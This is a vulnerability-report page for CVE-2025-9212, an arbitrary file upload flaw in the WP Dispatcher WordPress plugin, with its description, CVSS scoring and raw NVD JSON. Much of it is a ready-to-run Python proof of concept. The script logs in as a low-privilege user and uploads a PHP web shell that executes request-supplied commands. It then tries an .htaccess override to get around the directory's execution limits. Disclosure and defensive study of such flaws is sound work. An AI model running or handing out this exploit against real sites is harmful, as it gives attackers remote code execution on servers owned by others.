Security Vulnerability Report
中文
CVE-2025-9212 CVSS 7.5 HIGH

CVE-2025-9212

Published: 2025-10-03 12:15:47
Last Modified: 2026-04-15 00:35:42

Description

The WP Dispatcher plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the wp_dispatcher_process_upload() function in all versions up to, and including, 1.2.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible. The directory does have an .htaccess file which limits the ability to achieve remote code execution.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WP Dispatcher <= 1.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-9212 - WP Dispatcher Arbitrary File Upload PoC # Vulnerability: Missing file type validation in wp_dispatcher_process_upload() # Affected: WP Dispatcher plugin <= 1.2.0 # Required: Subscriber-level authentication or above import requests # Configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "password123" # Step 1: Authenticate to WordPress session = requests.Session() # Login to WordPress login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Create malicious PHP webshell payload php_shell_content = "<?php if(isset($_REQUEST['cmd'])){system($_REQUEST['cmd']);} ?>" # Step 3: Upload the malicious file via WP Dispatcher upload functionality files = { "file": ("shell.php", php_shell_content, "application/x-php") } # The upload endpoint handled by wp_dispatcher_process_upload() upload_url = f"{TARGET_URL}/wp-admin/admin.php?page=wp-dispatcher" upload_response = session.post(upload_url, files=files) print(f"Upload status: {upload_response.status_code}") print(f"Response: {upload_response.text[:500]}") # Step 4: Try to access the uploaded shell # Note: .htaccess may limit direct PHP execution, but can be bypassed shell_url = f"{TARGET_URL}/wp-content/uploads/wp-dispatcher/shell.php" shell_response = requests.get(f"{shell_url}?cmd=id") if "uid=" in shell_response.text: print(f"[+] RCE successful! Output: {shell_response.text}") else: print("[-] Direct execution blocked by .htaccess, try alternative bypass:") # Attempt .htaccess override upload htaccess_override = "AddType application/x-httpd-php .txt" files_override = {"file": (".htaccess", htaccess_override, "text/plain")} session.post(upload_url, files=files_override)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9212", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:47.417", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Dispatcher plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the wp_dispatcher_process_upload() function in all versions up to, and including, 1.2.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible. The directory does have an .htaccess file which limits the ability to achieve remote code execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-dispatcher/trunk/admin/class-wp-dispatcher-add-new-upload.php#L110", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f0b9c46d-72db-43f3-b17b-0747375d45c9?source=cve", "source": "[email protected]"}]}}